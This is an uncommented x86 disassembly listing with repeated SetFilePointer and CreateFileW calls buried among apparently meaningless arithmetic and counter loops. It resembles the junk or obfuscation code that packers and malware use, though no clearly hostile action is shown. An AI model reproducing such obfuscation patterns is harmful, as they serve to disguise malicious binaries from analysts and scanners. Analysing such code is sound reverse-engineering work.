push 0x8e9b
mov eax, dword [ebp - 0x90]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x3cc], eax
push 0
push 0
push 0xb676
mov ecx, dword [ebp - 0x80]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x6c], 0x405000
cmp dword [ebp - 0x194], 0x997c
jbe 0x402aad
mov edx, dword [ebp - 0x194]
sub edx, 0x1a
mov dword [ebp - 0x194], edx
movsx eax, byte [ebp - 5]
movsx ecx, byte [ebp - 0x2a]
add eax, ecx
mov edx, dword [ebp - 0x28]
mov byte [edx], al
jmp 0x402a81
push 0
push 0
push 0x815e
mov eax, dword [ebp - 0x98]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x3d0], eax
push 2
push 0
push 0x9d0f
mov ecx, dword [ebp - 0xd4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x320], eax
mov dword [ebp - 0x1a8], 0x66a0
mov edx, dword [ebp - 0x64]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x18]
xor eax, ecx
mov word [0x405008], ax
mov edx, dword [ebp - 0x44]
mov dword [ebp - 0xc4], edx
mov dword [ebp - 0x294], 0x4080
mov eax, dword [ebp - 0x30]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x5c]
shr edx, cl
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x1d0], 0x6596
mov dword [ebp - 0x1a0], 0x4240
cmp dword [ebp - 0x198], 0x91f4
ja 0x402b79
mov eax, dword [ebp - 0x198]
add eax, 0x79
mov dword [ebp - 0x198], eax
mov ecx, dword [ebp - 0x24]
movzx edx, byte [ecx]
mov eax, dword [0x405028]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [0x405024]
mov byte [eax], dl
movzx ecx, word [ebp - 0xc]
movzx edx, word [ebp - 0x1c]
and ecx, edx
mov eax, dword [ebp - 0x7c]
mov word [eax], cx
jmp 0x402b35
push 2
push 0
push 0x7dd4
mov ecx, dword [ebp - 0xcc]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x324], eax
mov edx, dword [ebp - 0x19c]
sub edx, 0x70
mov dword [ebp - 0x19c], edx
movsx eax, byte [0x405014]
mov ecx, dword [ebp - 0x9c]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x28]
mov byte [ecx], al
cmp dword [ebp - 0x19c], 0xb54e
ja 0x402b95
mov edx, dword [0x405030]
mov ax, word [edx]
mov word [0x405034], ax
mov dword [ebp - 0x1e8], 0x3b4e
lea ecx, [ebp - 0xc4]
mov dword [ebp - 0xa8], ecx
mov edx, dword [ebp - 0x1a0]
add edx, 0x44
mov dword [ebp - 0x1a0], edx
push 0
push 0
push 0xfd
mov eax, dword [ebp - 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x328], eax
push 1
push 0
push 0xcb59
mov ecx, dword [ebp - 0x94]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x3d4], eax
cmp dword [ebp - 0x1a0], 0x430c
jb 0x402bec
cmp dword [ebp - 0x1a4], 0x29d9
jb 0x402c99
mov edx, dword [ebp - 0x38]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x5c]
shr eax, cl
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1a4]
sub edx, 0xa2
mov dword [ebp - 0x1a4], edx
mov eax, dword [0x405024]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x24]
movzx eax, byte [edx]
xor ecx, eax
mov edx, dword [0x405028]
mov byte [edx], cl
movzx eax, word [section..data]
mov ecx, dword [ebp - 0x6c]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x34], ax
jmp 0x402c3f
cmp dword [ebp - 0x1a8], 0x66ad
ja 0x402ce6
mov eax, dword [ebp - 0x1a8]
add eax, 0xd
mov dword [ebp - 0x1a8], eax
push 1
push 0
push 0xd239
mov ecx, dword [ebp - 0xcc]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x278], eax
mov edx, dword [ebp - 0x9c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x28]
movsx edx, byte [ecx]
or eax, edx
mov byte [ebp - 2], al
jmp 0x402c99
cmp dword [ebp - 0x1ac], 0x457a
jb 0x402d2f
mov eax, dword [ebp - 0x1ac]
sub eax, 0xc6
mov dword [ebp - 0x1ac], eax
mov ecx, dword [ebp - 0x88]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x10]
shl edx, cl
mov eax, dword [0x405030]
mov word [eax], dx
mov edx, dword [0x405004]
mov ecx, dword [ebp - 0xc4]
shl edx, cl
mov eax, dword [ebp - 0x40]
mov dword [eax], edx
jmp 0x402ce6
push 0
push 0
push 0x28e5
mov ecx, dword [ebp - 0xd4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b4], 0x96b9
jbe 0x402d7a
mov edx, dword [ebp - 0x1b4]
sub edx, 0xb0
mov dword [ebp - 0x1b4], edx
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x30]
mov edx, dword [eax]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x5c], edx
jmp 0x402d4b
push 0
push 0
push 0x7042
mov eax, dword [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x32c], eax
push 1
push 0
push 0xae0
mov ecx, dword [ebp - 0xa0]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x2dc], eax
push 1
push 0
push 0x69d7
mov edx, dword [ebp - 0x98]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x340], eax
push 0
push 0
push 0x148f
mov eax, dword [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x324], eax
mov dword [ebp - 0x228], 0x8632
mov ecx, dword [ebp - 0x24]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 1]
or edx, eax
mov byte [0x405015], dl
movzx ecx, word [ebp - 0x48]
mov edx, dword [ebp - 0x6c]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0xc], cx
lea ecx, [ebp - 2]
mov dword [ebp - 0xc0], ecx
mov dword [ebp - 0x1bc], 0xb29d
cmp dword [ebp - 0x1b8], 0xbe74
jae 0x402e63
mov edx, dword [ebp - 0x1b8]
add edx, 0x56
mov dword [ebp - 0x1b8], edx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push 0x4012c4
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xe8], eax
jmp 0x402e23
cmp dword [ebp - 0x1bc], 0xb588
jae 0x402ea4
mov eax, dword [ebp - 0x1bc]
add eax, 0xf9
mov dword [ebp - 0x1bc], eax
movsx ecx, word [ebp - 0x10]
mov edx, dword [ebp - 0x88]
movsx eax, word [edx]
xor ecx, eax
mov word [0x40501c], cx
mov ecx, dword [ebp - 0xc4]
and ecx, dword [ebp - 0x54]
mov dword [ebp - 0x44], ecx
jmp 0x402e63
push 1
push 0
push 0x466a
mov edx, dword [ebp - 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x200], 0xc1df
push 1
push 0
push 0xef3c
mov eax, dword [ebp - 0xdc]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x1c0], 0xeeaf
ja 0x402f25
mov ecx, dword [ebp - 0x1c0]
add ecx, 0xd7
mov dword [ebp - 0x1c0], ecx
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x5c]
add eax, dword [edx]
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
movzx edx, byte [ebp - 1]
mov eax, dword [0x405024]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [0x405028]
mov byte [eax], dl
jmp 0x402ee3
lea ecx, [ebp - 0x48]
mov dword [ebp - 0xd8], ecx
mov dword [ebp - 0x234], 0xf511
cmp dword [ebp - 0x1c4], 0x846a
jb 0x402f79
mov edx, dword [ebp - 0x1c4]
sub edx, 0x38
mov dword [ebp - 0x1c4], edx
mov eax, dword [0x405018]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 2]
add ecx, edx
mov byte [ebp - 3], cl
movsx eax, word [ebp - 0x18]
movsx ecx, word [ebp - 0x10]
and eax, ecx
mov edx, dword [0x405030]
mov word [edx], ax
jmp 0x402f38
push 0
push 0
push 0xbaeb
mov eax, dword [ebp - 0xe8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x2dc], eax
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0xe0]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0xbc], eax
push 0
push 0
push 0x7990
mov ecx, dword [ebp - 0x94]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x3d8], eax
mov dword [ebp - 0x250], 0x6bce
mov edx, dword [ebp - 0x1c8]
sub edx, 0x78
mov dword [ebp - 0x1c8], edx
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x5c]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x30]
mov dword [eax], edx
push 1
push 0
push 0x3e7a
mov ecx, dword [ebp - 0x4c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x3dc], eax
cmp dword [ebp - 0x1c8], 0xe2c8
jae 0x402fce
cmp dword [ebp - 0x1cc], 0xe9d6
jbe 0x403042
mov edx, dword [ebp - 0x1cc]
sub edx, 0x8a
mov dword [ebp - 0x1cc], edx
movzx eax, byte [ebp - 1]
mov ecx, dword [ebp - 0x24]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [0x405003], al
jmp 0x403011
push 0
push 0
push 0x45a6
mov edx, dword [ebp - 0x84]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x278], eax
mov eax, dword [ebp - 0x1d0]
add eax, 0xef
mov dword [ebp - 0x1d0], eax
push 0
push 0x80
push 2
push 0
push 3
push 0x80000000
push 0x4012f8
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x104], eax
movzx ecx, word [section..data]
mov edx, dword [ebp - 0xd8]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0xc], cx
cmp dword [ebp - 0x1d0], 0x6774
jne 0x40305e
movsx ecx, byte [0x405014]
mov edx, dword [ebp - 0xc0]
movsx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0x28]
mov byte [edx], cl
lea eax, [ebp - 0x18]
mov dword [0x405038], eax
mov ecx, dword [ebp - 0xbc]
mov dword [ebp - 0xb4], ecx
mov edx, dword [ebp - 0x1d4]
sub edx, 0x3b
mov dword [ebp - 0x1d4], edx
push 1
push 0
push 0xa58b
mov eax, dword [ebp - 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x3e0], eax
push 2
push 0
push 0xf24f
mov ecx, dword [ebp - 0xcc]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x3e4], eax
cmp dword [ebp - 0x1d4], 0xa4fa
jae 0x4030df
lea edx, [ebp - 0x58]
mov dword [ebp - 0x70], edx
mov eax, dword [ebp - 0x24]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 1]
sar edx, cl
mov byte [0x40500b], dl
mov eax, dword [ebp - 0x6c]
movzx edx, word [eax]
mov eax, dword [0x405020]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x6c]
mov word [ecx], dx
lea edx, [ebp - 5]
mov dword [ebp - 0xa4], edx
movsx eax, word [0x405034]
mov ecx, dword [ebp - 0x64]
movsx edx, word [ecx]
xor eax, edx
mov word [0x40501c], ax
mov dword [ebp - 0x1e4], 0x4a5a
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0xa8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1d8]
add eax, 1
mov dword [ebp - 0x1d8], eax
mov ecx, dword [ebp - 0x58]
and ecx, dword [ebp - 0x60]
mov edx, dword [ebp - 0x30]
mov dword [edx], ecx
movzx eax, byte [ebp - 1]
movzx ecx, byte [ebp - 4]
add eax, ecx
mov edx, dword [0x405024]
mov byte [edx], al
cmp dword [ebp - 0x1d8], 0x21ad
jb 0x403188
push 0
push 0
push 0x897d
mov eax, dword [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x1ec], GetModuleHandleA
movzx ecx, word [section..data]
movzx edx, word [ebp - 0x1c]
add ecx, edx
mov eax, dword [ebp - 0x7c]
mov word [eax], cx
mov dword [ebp - 0x108], 0x405014
mov dword [ebp - 0x220], 0xbb59
lea ecx, [ebp - 0x18]
mov dword [0x40503c], ecx
mov edx, dword [ebp - 0x1dc]
sub edx, 0xd0
mov dword [ebp - 0x1dc], edx
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x8c]
mov edx, dword [ebp - 0x40]
mov dword [edx], ecx
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x58]
shl edx, cl
mov dword [ebp - 0x60], edx
push 0
push 0x80
push 1
push 0
push 0
push 0xc0000000
push 0x401338
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x1dc], 0xc382
jae 0x403229
cmp dword [ebp - 0x1e0], 0x4748
je 0x4032bb
mov eax, dword [ebp - 0x1e0]
add eax, 0x88
mov dword [ebp - 0x1e0], eax
movzx ecx, byte [ebp - 4]
mov edx, dword [ebp - 0x24]
movzx eax, byte [edx]
and ecx, eax
mov byte [0x405003], cl
jmp 0x40328a
mov ecx, dword [ebp - 0x7c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x48]
sub edx, eax
mov word [ebp - 0x34], dx
mov dword [ebp - 0x20c], 0x67ce
mov ecx, dword [0x405018]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 5]
xor edx, eax
mov byte [ebp - 0x29], dl
mov dword [0x405040], 0x40502c
mov ecx, dword [ebp - 0xa8]
mov edx, dword [ebp - 0xe4]
or edx, dword [ecx]
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
mov dword [ebp - 0xc8], ecx
mov edx, dword [ebp - 0x1e4]
add edx, 0x4d
mov dword [ebp - 0x1e4], edx
mov eax, dword [0x405028]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x24]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [0x405024]
mov byte [ecx], dl
cmp dword [ebp - 0x1e4], 0x4aa7
jbe 0x40330d
mov edx, dword [ebp - 0xd8]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x6c]
movzx ecx, word [ecx]
sar eax, cl
mov edx, dword [ebp - 0x7c]
mov word [edx], ax
lea eax, [ebp - 3]
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0x274], 0xf65b
push 1
push 0
push 0x54d3
mov ecx, dword [ebp - 0xdc]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x328], eax
mov dword [ebp - 0x2bc], 0xfe9c
movsx edx, word [ebp - 0x78]
movsx eax, word [0x405008]
or edx, eax
mov ecx, dword [0x405038]
mov word [ecx], dx
mov edx, dword [ebp - 0x3c]
mov eax, dword [edx]
xor eax, dword [0x405004]
mov dword [ebp - 0x8c], eax
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
push 0x401378
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x33c], eax
mov ecx, dword [ebp - 0x1e8]
add ecx, 0x4b
mov dword [ebp - 0x1e8], ecx
mov edx, dword [ebp - 0x38]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x5c]
shl eax, cl
mov dword [ebp - 0x60], eax
movzx ecx, byte [ebp - 4]
movzx edx, byte [0x40500a]
sub ecx, edx
mov eax, dword [0x405024]
mov byte [eax], cl
cmp dword [ebp - 0x1e8], 0x3be4
jne 0x4033b7
movzx ecx, word [ebp - 0xc]
mov edx, dword [0x405020]
movzx eax, word [edx]
and ecx, eax
mov word [ebp - 0xb0], cx
movsx ecx, byte [ebp - 5]
movsx edx, byte [0x405014]
and ecx, edx
mov eax, dword [ebp - 0x108]
mov byte [eax], cl
cmp dword [ebp - 0x1ec], 0x62d7
je 0x4034a6
mov ecx, dword [ebp - 0x64]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x88]
movsx ecx, word [eax]
and edx, ecx
mov word [0x405008], dx
mov edx, dword [ebp - 0x1ec]
add edx, 0x98
mov dword [ebp - 0x1ec], edx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x8c]
sub ecx, dword [eax]
mov dword [ebp - 0xbc], ecx
push 1
push 0
push 0xc4c2
mov edx, dword [ebp - 0xa0]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x3e8], eax
jmp 0x403441
mov eax, dword [ebp - 0x1f0]
sub eax, 0x98
mov dword [ebp - 0x1f0], eax
push 2
push 0
push 0x48c
mov ecx, dword [ebp - 0x98]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x348], eax
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x38]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x70]
mov dword [eax], edx
cmp dword [ebp - 0x1f0], 0x5f7f
ja 0x4034a6
mov cl, byte [ebp - 1]
mov byte [0x405017], cl
mov edx, dword [0x405020]
mov ax, word [edx]
mov word [ebp - 0x10c], ax
mov ecx, dword [ebp - 0xa4]
movsx eax, byte [ecx]
mov edx, dword [0x405018]
movsx ecx, byte [edx]
cdq
idiv ecx
mov edx, dword [ebp - 0xa4]
mov byte [edx], al
movsx eax, word [ebp - 0x18]
mov ecx, dword [ebp - 0x88]
movsx edx, word [ecx]
xor eax, edx
mov ecx, dword [0x405030]
mov word [ecx], ax
push 0
push 0
push 0x51f6
mov edx, dword [ebp - 0x2ac]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x32c], eax
push 1
push 0
push 0xabd8
mov eax, dword [ebp - 0xdc]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x36c], eax
mov ecx, dword [ebp - 0xa8]
mov edx, dword [ebp - 0xb4]
add edx, dword [ecx]
mov dword [ebp - 0xd0], edx
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x5c]
shr eax, cl
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
mov dword [ebp - 0x214], 0x4229
cmp dword [ebp - 0x1f4], 0x811e
jb 0x4035f6
mov edx, dword [ebp - 0x1f4]
sub edx, 0xa2
mov dword [ebp - 0x1f4], edx
push 1
push 0
push 0x868f
mov eax, dword [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x478], eax
push 1
push 0
push 0x3391
mov ecx, dword [ebp - 0x2ac]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x338], eax
jmp 0x4035a1
mov edx, dword [ebp - 0x24]
movzx eax, byte [edx]
movzx ecx, byte [0x405002]
or eax, ecx
mov byte [0x40500c], al
lea edx, [ebp - 0xb0]
mov dword [ebp - 0xb8], edx
movsx eax, byte [0x405014]
mov ecx, dword [ebp - 0x9c]
movsx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x29], al
mov eax, dword [ebp - 0x64]
movsx edx, word [eax]
movsx ecx, word [ebp - 0x10]
sar edx, cl
mov eax, dword [0x405040]
mov word [eax], dx
lea ecx, [ebp - 0xd0]
mov dword [ebp - 0x2a4], ecx
cmp dword [ebp - 0x1f8], 0xcdb7
jae 0x40369d
mov edx, dword [ebp - 0x1f8]
add edx, 0x73
mov dword [ebp - 0x1f8], edx
push 0
push 0
push 0x44c9
mov eax, dword [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x3ec], eax
push 2
push 0
push 0x6c3c
mov ecx, dword [ebp - 0x90]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x3f0], eax
jmp 0x40364b
mov edx, dword [ebp - 0x30]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x70]
add eax, dword [ecx]
mov dword [ebp - 0x5c], eax
push 2
push 0
push 0xa735
mov edx, dword [ebp - 0x94]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x330], eax
push 2
push 0
push 0x8e7d
mov eax, dword [ebp - 0x98]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x3f4], eax
lea ecx, [ebp - 4]
mov dword [0x405044], ecx
mov dword [ebp - 0x240], 0x28fa
lea edx, [ebp - 0x48]
mov dword [ebp - 0x100], edx
push 0
push 0
push 0xcd51
mov eax, dword [ebp - 0xe8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x1fc], 0x5dd9
je 0x40375c
mov ecx, dword [ebp - 0x1fc]
add ecx, 0xb2
mov dword [ebp - 0x1fc], ecx
movsx edx, byte [ebp - 2]
movsx eax, byte [ebp - 5]
xor edx, eax
mov byte [ebp - 0x2a], dl
movsx edx, word [ebp - 0x18]
movsx ecx, word [0x405034]
shl edx, cl
mov eax, dword [0x405040]
mov word [eax], dx
jmp 0x40371a
push 0
push 0
push 0x2c06
mov ecx, dword [ebp - 0x80]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x334], eax
mov edx, dword [ebp - 0x200]
add edx, 0x61
mov dword [ebp - 0x200], edx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0xb4]
sub ecx, dword [eax]
mov dword [ebp - 0xe4], ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [edx]
sub eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x70]
mov dword [ecx], eax
cmp dword [ebp - 0x200], 0xc240
jbe 0x403775
push 2
push 0
push 0xf752
mov edx, dword [ebp - 0xe8]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x334], eax
mov dword [ebp - 0x26c], 0xb3f7
mov eax, dword [ebp - 0x204]
sub eax, 0xe0
mov dword [ebp - 0x204], eax
movzx ecx, byte [ebp - 1]
movzx edx, byte [ebp - 4]
sub ecx, edx
mov byte [0x405015], cl
mov eax, dword [ebp - 0xb8]
movzx ecx, word [eax]
movzx edx, word [section..data]
add ecx, edx
mov eax, dword [ebp - 0xd8]
mov word [eax], cx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push 0x4013b8
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x204], 0x1989
ja 0x4037d4
mov ecx, dword [ebp - 0x208]
add ecx, 0xa6
mov dword [ebp - 0x208], ecx
mov edx, dword [ebp - 0xfc]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x11]
shl eax, cl
mov byte [ebp - 0x2b], al
movsx ecx, word [ebp - 0x78]
movsx edx, word [0x405034]
xor ecx, edx
mov eax, dword [0x40503c]
mov word [eax], cx
cmp dword [ebp - 0x208], 0x53a6
jne 0x40383f
push 1
push 0
push 0x485f
mov ecx, dword [ebp - 0xa0]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x23c], 0x9b8c
cmp dword [ebp - 0x20c], 0x67ce
jb 0x4038dc
mov edx, dword [ebp - 0x20c]
sub edx, 0x8b
mov dword [ebp - 0x20c], edx
mov eax, dword [ebp - 0xbc]
and eax, dword [0x405004]
mov dword [ebp - 0xd0], eax
jmp 0x4038aa
mov ecx, dword [ebp - 0x70]
mov edx, dword [ecx]
or edx, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x30]
mov dword [eax], edx
push 1
push 0
push 0xd3e7
mov ecx, dword [ebp - 0x84]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x3fc], eax
mov dword [ebp - 0x254], 0x2c58
mov edx, dword [ebp - 0x24]
movzx eax, byte [edx]
mov ecx, dword [0x405028]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [0x40500b], al
mov edx, dword [ebp - 0x210]
add edx, 0xd1
mov dword [ebp - 0x210], edx
mov eax, dword [ebp - 0xb8]
movzx edx, word [eax]
movzx ecx, word [section..data]
sar edx, cl
mov eax, dword [ebp - 0x7c]
mov word [eax], dx
push 1
push 0
push 0x6ace
mov ecx, dword [ebp - 0x98]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x400], eax
cmp dword [ebp - 0x210], 0xbb3e
jbe 0x403912
mov edx, dword [ebp - 0x214]
add edx, 0xdc
mov dword [ebp - 0x214], edx
mov eax, dword [ebp - 0x28]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 3]
or ecx, edx
mov byte [ebp - 0x11], cl
mov eax, dword [ebp - 0x64]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x78]
and ecx, edx
mov eax, dword [0x405030]
mov word [eax], cx
cmp dword [ebp - 0x214], 0x43e1
jb 0x40397a
push 2
push 0
push 0xa650
mov ecx, dword [ebp - 0x68]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x264], eax
mov edx, dword [ebp - 0x218]
sub edx, 0x11
mov dword [ebp - 0x218], edx
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [eax]
xor edx, dword [ecx]
mov dword [ebp - 0xd0], edx
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x38]
add ecx, dword [edx]
mov eax, dword [ebp - 0x30]
mov dword [eax], ecx
cmp dword [ebp - 0x218], 0xa4e2
ja 0x4039d4
push 2
push 0
push 0x6fe5
mov ecx, dword [ebp - 0x80]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x404], eax
mov edx, dword [ebp - 0x21c]
sub edx, 0x3e
mov dword [ebp - 0x21c], edx
mov eax, dword [ebp - 0x24]
movzx edx, byte [eax]
movzx ecx, byte [0x405002]
shl edx, cl
mov byte [0x40500b], dl
movzx eax, word [ebp - 0x1c]
mov ecx, dword [ebp - 0x7c]
movzx ecx, word [ecx]
shl eax, cl
mov edx, dword [ebp - 0x6c]
mov word [edx], ax
push 2
push 0
push 0x46cb
mov eax, dword [ebp - 0xcc]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x21c], 0x5ef8
jae 0x403a2a
cmp dword [ebp - 0x220], 0xba8d
jbe 0x403ad6
mov ecx, dword [ebp - 0x220]
sub ecx, 0xcc
mov dword [ebp - 0x220], ecx
mov edx, dword [ebp - 0xc0]
movsx eax, byte [edx]
movsx ecx, byte [0x405014]
shl eax, cl
mov byte [ebp - 3], al
mov ecx, dword [ebp - 0x64]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x88]
movsx ecx, word [eax]
and edx, ecx
mov eax, dword [0x405038]
mov word [eax], dx
jmp 0x403a88
push 0
push 0
push 0x99db
mov ecx, dword [ebp - 0x90]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x2e4], eax
mov dword [ebp - 0x258], 0x7188
cmp dword [ebp - 0x224], 0x5232
je 0x403b3a
mov edx, dword [ebp - 0x224]
add edx, 0x9a
mov dword [ebp - 0x224], edx
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0x44]
add ecx, dword [eax]
mov dword [ebp - 0xc4], ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [edx]
xor eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x70]
mov dword [ecx], eax
jmp 0x403afc
push 2
push 0
push 0x1b5
mov edx, dword [ebp - 0x84]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x228], 0x8542
jb 0x403b88
mov eax, dword [ebp - 0x228]
sub eax, 0x78
mov dword [ebp - 0x228], eax
mov ecx, dword [ebp - 0x24]
movzx edx, byte [ecx]
movzx eax, byte [0x405002]
sub edx, eax
mov byte [0x40500a], dl
jmp 0x403b56
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x2ec], ecx
push 1
push 0
push 0x83ac
mov edx, dword [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x22c], 0xe290
jae 0x403bdf
mov eax, dword [ebp - 0x22c]
add eax, 0x68
mov dword [ebp - 0x22c], eax
movsx edx, byte [0x405014]
mov eax, dword [ebp - 0x108]
